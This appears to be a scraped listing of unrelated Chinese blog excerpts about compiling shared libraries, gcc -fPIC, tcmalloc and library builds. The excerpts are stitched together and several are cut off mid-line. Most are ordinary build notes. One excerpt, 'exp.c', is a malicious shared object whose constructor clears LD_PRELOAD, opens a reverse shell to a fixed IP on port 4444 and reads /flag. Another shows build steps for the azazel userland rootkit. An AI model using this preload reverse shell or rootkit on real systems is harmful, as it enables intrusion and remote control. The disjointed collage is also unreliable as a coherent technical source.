将tcmalloc作为动态库使用,非常方便,网上有很多资料介绍了。tcmalloc.a也可以以静态链接的方式加入应用程序中,大概因为使用太方便,网上关于这方面的介绍都是一笔带过,但是如果要在动态 库(so)中静态编译tcmalloc,却是有所不同的。 我的项目中有一个so动态库,需要在java中通过jni调用,因为涉及频繁的内存分配操作所以这个so希望用tcmalloc管理内存池以提高系统运行效率,如果使用以动态库方式使用tcmalloc。那么在应用服务器(tomcat)启动的时候,需要先设置LD_PRELOAD参数指向tcmalloc.so,然后执行startup.sh启动tomcat。这样以来,不仅是我的so库,整java程序在运行过程中的所有向操作系统申请释放内存的过程都交给了tcmalloc管理了,其实挺好的。使用这种方案,我的so库代码不需要在编译时链接tcmalloc,什么都不用改变,就能使用tcmalloc。 但是凡事有利就有弊,这个方案带的成本就是在系统安装、维护时稍显复杂:需要在服务器上安装tcmalloc和libunwind(应用系统运行在64位操作系统下),还可能需要修改tomcat启动脚本以加入LD_PRELOAD参数,对工程实施人员的要求比较高。
下载 [root@localhost html]# git clone https://github.com/rofl0r/proxychains-ng.git 编译安装 [root@localhost html]# cd proxychains-ng/ [root@localhost proxychains-ng]# ls AUTHORS configure COPYING Makefile README src tests TODO tools VERSION [root@localh
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默认情况下,对于未使用到的符号(函数是一种符号),链接器不会将它们链接进共享库和可执行程序。
动态链接库与普通的程序相比而言,没有main函数,是一系列函数的实现。通过shared和fPIC编译参数生产so动态链接库文件。程序在调用库函数时,只需要连接上这个库即可。例如下面实现一个简单的整数四则运输的动态链接库,定义的caculate.h和caculate.c两个文件,生产libcac.so动态链接库。
作者:matrix 被围观: 10 次 发布时间:2023-02-10 分类:Golang | 无评论 »
本文总结了使用脚本编译 Boost C++ 库和 Bzip2 压缩库的方法,介绍了编译脚本的设计和实现,以及使用脚本编译 Boost C++ 库和 Bzip2 压缩库的过程和注意事项。
除了CMarkup,tinyxml也是C/C++下解析XML很好的工具。在linux下用g++编译tinyxml的步骤如下(tinyxml版本2.6.2):
参考链接:https://blog.csdn.net/linolzhang/article/details/70306003
已经大半个月没有更新文章了,大家还记得之前作者写的一篇关于RT-Thread的微内核移植的文章吗?如果不记得没关系。看如下是文章链接。
https://github.com/chokepoint/azazelapt-get install libpam0g-dev gcc make python libssl-dev libpcap-dev -yubuntu16-servermake && make installINSTALL=/libCFLAGS+= -WallLDFLAGS+= -lc -ldl -lpam -lutilall: config libselinux.soclient:$(CC) -fPIC client.c -shar
记录一次luaxml编译的解决过程 参考 http://blog.csdn.net/dc_show/article/details/38957991
一些有C++代码的R包可能会用到一些新的C++特性,需要C++11或者C++14。这个问题通常在CentOS/红帽系统上出现,因为系统稳定的要求,这个系列的系统它的C++版本很低。但请读者前往注意了别自己编译新版本的gcc,然后替换掉系统的。这种操作我试过几次,系统基本上就崩掉了。
/system/bin/sh: iwpriv: not found 问题解决方案
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生成.o文件,对代码文件进行预处理、编译和汇编,相当于windows下生成目标文件obj
最近写BUG的时候遇到python计算很慢的情况,于是调研了一波在python中嵌入C++程序的方法,记录一下,便于查询。
Building shared lib... g++ -c -fPIC Quote.cpp -o Quote.o g++ -c -fPIC QuoteExport.cpp -o QuoteExport.o g++ -c -fPIC Start.cpp -o Start.o Generating shared lib... g++ -shared -fPIC -o libQuoteLib.so ./Quote.o ./QuoteExport.o ./Start.o cp libQuoteLib.so ../ OK!
2 . 共享动态库编译参数 : 编译动态库需要添加 “-fPIC” 和 “-shared” 两个参数 ;
库其实就是所有的.o文件用特定的方式进行打包形成一个文件,各个.o文件包含了源代码中的机器语言指令。
GCC编译遇到如下的错误,可能是因为在编译时没有指定-fPIC,记住:-fPIC即是编译参数,也是链接参数:
在安装audiotoolsmake install出现问题 running build_ext building 'audiotools.pcm' extension creating build/temp.linux-x86_64-2.7 creating build/temp.linux-x86_64-2.7/src gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -
要学会制作动态库,必须要有软硬链接知识的基础,大家可以移步至该文章:软链接和硬链接的详解 (Linux系统下)-CSDN博客
在前面的几篇博客中,我们介绍了MindSpore框架下使用CUDA来定义本地算子的基本方法,以及配合反向传播函数的使用,这里主要探讨一下MindSpore框架对于CUDA本地算子的输入输出的规范化形式。
第一步:使用-shared参数生成动态库,gcc -shared -fPIC -o libtest.so test.c 然后把libtest.so复制到/usr/lib64/系统路径下
最近由于工作需求要搭建freeswitch,整个过程比较纠结,遂总结于此留作备忘。
最近需要升级原有服务器的nginx加载逻辑,新的lua脚本需要解析一个远程返回的json格式的结果,原有的luajit并没有带cjson库,需要自己手动安装一下。
so其实就是shared object的意思。今天看了上面的博客,感觉好吃力。赶紧做个笔记记录一下。下面的内容大多都是连接中的,穿插我自己的笔记
将文件编译为静态库.a # 将cJSON.c编译为cJSON.o, -c只编译不连接 ➜ gcc -c cJSON.c # 组合为静态链接库. 使用cJSON.o创建静态库libcJSON.a ➜ ar -r libcJSON.a cJSON.o # 将静态库作为一个系统共享的静态链接库(lib文件夹) ➜ cp libcJSON.a /usr/local/lib # 此时就可以使用 -l 参数去使用静态库了. ➜ gcc main.c -o main -lcJSON 将文件编译为动态链接库.s
本文延续上一篇文章 云数据库MySQL导入云数据仓库PostgreSQL最佳实践,继续介绍云数据库MySQL导入云数据仓库PostgreSQL的使用问题。其中描述的问题及解决方法同样适用于 腾讯云 云数据仓库 PostgreSQL(CDWPG)。
centos7安装jdk,tomcat,nginx,redis,fastDFS的步骤
共享库有一个很重要的特征,就是可以被多个可执行文件共享,以达到节省磁盘和内存空间的目标:
最近看了下最新版本的cmake的文档,很惊喜地发现他已经支持直接设置Android和OSX的一些变量了,然后有瞄了一眼NDK,发现里面现在也停工官方的cmake支持。
python语言调用c语言进行扩展,或者增加程序的运行速度都是特别方便的。同时还能获得与C或者C++几乎相同的执行性能。
/tmp/tmp4BEPxg/pip.zip/pip/_vendor/requests/packages/urllib3/util/ssl_.py:90: InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
step 1. 因为是64位的系统,所以先要安装libunwind,32位系统可以忽略此步
centos的libstdc++版本太低,使用yum install libstdc++提示版本已经时最新版本
license: "cc-by-nc-nd-4.0" description: "本文手把手指导如何创建一个可以执行的共享目标文件"
1.在 /usr/local/src 下准备好以下文件 libunwind-0.99.tar.gz (64位操作系统需要) google-perftools-1.7.tar.gz
GCC编译的三个.o文件llvmjit、llvmjit_deform、llvmjit_expr
linux中共享库以so为后缀(shared object),与Windows下的DLL类似,是在程序运行时动态连接。多个进程可以连接同一个共享库。
常用的so文件c源码 exp.c #include <stdlib.h> #include <string.h> __attribute__ ((constructor)) void call () { unsetenv("LD_PRELOAD"); char str[65536]; system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'"); system("cat /flag > /var/www/ht
本质上来说库是一种可执行代码的二进制形式,可以被操作系统载入内存执行。由于windows和linux的本质不同,因此二者库的二进制是不兼容的。
动态链接库,又称为共享链接库。采用动态链接库实现链接操作时,程序文件中哪里需要库文件的功能模块,GCC 编译器不会直接将该功能模块的代码拷贝到文件中,而是将功能模块的位置信息记录到文件中,直接生成可执行文件。这样带来的好处是可执行文件中记录的是功能模块的地址,真正的实现代码会在程序运行时被载入内存,这意味着,即便功能模块被调用多次,使用的都是同一份实现代码(这也是将动态链接库称为共享链接库的原因)。同样这也带来了缺陷,此方式生成的可执行文件无法独立运行,必须借助相应的库文件。
armv7是ARMv7-A指令集架构的缩写,其中“A”表示“应用程序级别”。ARMv7-A架构是ARM架构的第七代,支持32位指令和地址。它是2011年前的大多数ARM芯片所采用的架构,包括Cortex-A7、Cortex-A9和Cortex-A15等。
imghdr模块提供了what()方法,该方法可以推测文件或字节流中的图像的类型。可以识别的图片格式见Python文档。为防止打不开,我把截图放在下面。
最近一直在想用C++封装一些在工作中常用的Python扩展模块,因为之前没有用C++写过类似的东西,因此一直在网上找一些文章,但是我发现好多文章都描述的不是很清晰,对于老鸟来说应该会很容易,但是像我这种初学者,肯定会造成很大的困扰,因为总是出现很多的报错,搞的头很大,因此我将成功的案例分享一下,并且详细的解释下让我产生疑惑的地方。
1. 固定装载地址的困扰 通过上一节的介绍我们已经基本了解了动态链接的概念,同时我们也得到了一个问题,那就是:共享对象在被装载时,如何确定它在进程虚拟地址空间中的位置?为了实现动态链接,我们首先会遇到
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